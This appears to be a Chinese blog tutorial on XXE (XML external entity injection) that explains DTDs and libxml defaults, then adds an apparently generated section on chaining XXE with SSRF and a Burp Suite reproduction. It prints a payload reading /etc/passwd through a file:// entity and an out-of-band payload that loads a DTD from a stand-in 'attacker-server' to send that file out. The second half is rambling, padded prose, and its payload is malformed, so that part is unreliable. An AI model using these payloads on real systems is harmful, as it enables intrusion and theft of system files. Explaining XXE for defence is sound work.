XXE漏洞概述

XXE漏洞是XML外部实体注入所导致的安全问题,常见于不安全的XML数据处理。通过构造恶意XML,攻击者可以利用DTD的外部实体引用访问系统敏感文件,如通过`&f;`实体读取`/etc/passwd`。PHP中的`simplexml_load_string()`函数在高版本已默认禁止解析外部实体,但旧版本或未禁用外部实体的应用仍存在风险。防止XXE的关键在于正确配置XML解析器,禁止加载外部实体。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XXE(xml external entity -injection")

是xml的外部文档的一种注入漏洞。

首先来看一下xml的大体结构:

在这里插入图片描述

在这里插入图片描述

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。

主要出问题的大多是从DTD这部分出的。

DTD大体框架:

  1. DTD 内部声明
    <! DOCTYPE 根元素 [元素声明]>
  2. DTD 外部引用
    <! DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
  3. 引用公共DTD
    < !DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI ”>

外部实体引用payload:

<?xml version = "1.0"?>

< !DOCTYPE ANY [
< !ENTITY f SYSTEM “file:///etc/passwd”>
]>
< x>&f;< /x>

利用这个来访问敏感文件。

外部引用可以支持http,file,ftp等协议。
如果一个接口支持接收xml数据,且没有对xml数据做任何安全上的措施,就可
能导致XXE漏洞

simplexml_load_string()
函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象
在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外
部实体内容的。

所以在2.9以上版本的这个漏洞很难利用

漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致攻击者构造恶意的xml。

### XXE漏洞与SSRF的关系 XXE(XML External Entity)漏洞允许攻击者通过恶意构造的外部实体引用,读取服务器上的文件或其他资源。而SSRF(Server-Side Request Forgery)是一种让目标服务器发起请求到指定地址的安全问题。两者可以通过特定方式结合使用,在某些场景下实现更复杂的攻击效果。 例如,XXE可以和SSRF一起用于探测其他内网主机的信息,基于HTTP协议进行端口扫描或服务发现[^1]。这种组合能够使攻击范围扩大至内部网络中的更多资产。 --- ### Zimbra RCE漏洞背景及其利用关系 在一些复杂的应用程序中,多个安全缺陷可能相互关联形成更大的威胁模型。比如Zimbra远程代码执行漏洞(CVE-2019-9670),其完整的RCE链依赖于另一个SSRF漏洞(CVE-2019-9621)[^2]。尽管官方文档提到需要两个漏洞配合才能达成最终的目标——即完全控制受害者的机器;但实际上也有方法绕过此限制单独触发该功能模块从而直接获得shell权限的情况发生(具体细节未公开披露)。 这表明即使缺少明确标注出来的辅助条件也可能找到替代路径去完成整个攻击链条的设计意图之外的操作行为模式转换过程中的可能性探索方向之一就是寻找是否存在类似的逻辑错误或者配置不当之处作为突破口来进行尝试突破现有的防护机制进而达到预期目的的同时还应该考虑到实际环境中可能会遇到的各种阻碍因素影响最终成功率高低程度不同而已。 --- ### 复现步骤概述 为了验证上述理论假设成立与否并通过实践检验得出结论证明观点正确无误的话,则需按照如下方式进行操作: #### 准备工作 1. **环境搭建**: 使用虚拟机创建隔离测试环境,安装易受攻击版本的服务软件实例。 2. **工具准备**: 下载并启动Burp Suite社区版用作中间拦截器角色以便后续手动调整数据包内容后再转发出去供进一步分析研究之用。 #### 实际演练部分 ##### 设置代理连接 在浏览器里设定好相应的出口通道指向本地监听端口号之后加载含有潜在风险点位链接地址页面时自动将所有通信流量导向我们事先布置好的陷阱装置等待捕捉感兴趣的数据片段回来审查是否有异常现象出现值得深入挖掘下去的价值所在之处存在即可视为成功捕获有效样本素材可供下一步骤处理使用前先保存原始状态副本留档备案以防万一丢失重要线索证据材料造成无法挽回的局面后果严重必须谨慎对待每一个环节都不能马虎大意才行啊同志们加油干吧! ```plaintext GET /vuln/xxetest.php HTTP/1.1 Host: target-site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ``` ##### 构造Payload 接着把刚才截获下来的未经修改过的原样复制粘贴过来放到重复发送窗口里面替换掉原有的参数字段值换成精心设计制作而成的新颖独特而又充满危险性的特殊字符序列结构形式表现出来看看会发生什么有趣的事情呢?让我们拭目以待吧朋友们! ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY % remote SYSTEM "http://attacker-server/payload.dtd"> <!ENTITY % init "<!ENTITY % send SYSTEM 'file:///etc/passwd'>"> ]> <reset> <login>admin;%send;</login> <secret>Any bugs?</secret> </reset> ``` 注意这里引入了一个外部DTD定义文件`payload.dtd`,它包含了更多的指令用来指示解析引擎如何去构建新的实体标签嵌套层次关系直到最后一步才真正暴露核心秘密武器位置信息泄露给外界观察员看到为止才算圆满完成任务使命结束啦哈哈哈哈哈!!! --- ### 结果评估标准说明 当以上所有的准备工作都顺利完成以后就可以静候佳音传来好消息咯~ 如果一切正常顺利的话那么你应该能够在自己的监控屏幕上清晰地看见来自受害者那边传来的回应消息当中携带了原本不应该被轻易获取得到的秘密情报资料比如说操作系统用户名列表之类的敏感隐私类别的东西就充分证明我们的实验取得了圆满的成功成果喜人呀各位小伙伴们快来庆祝一番吧😊🎉👏 当然啦除了单纯追求技术层面的乐趣体验之外更重要的是要从中吸取教训总结经验不断提高自身的网络安全意识水平时刻保持警惕防止自己成为下一个倒霉蛋哦记住一句话叫做“道高一尺魔高一丈”永远不要低估敌人可能拥有的强大实力好吗谢谢大家听我说完这些话希望对你们有所帮助再见👋~ ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值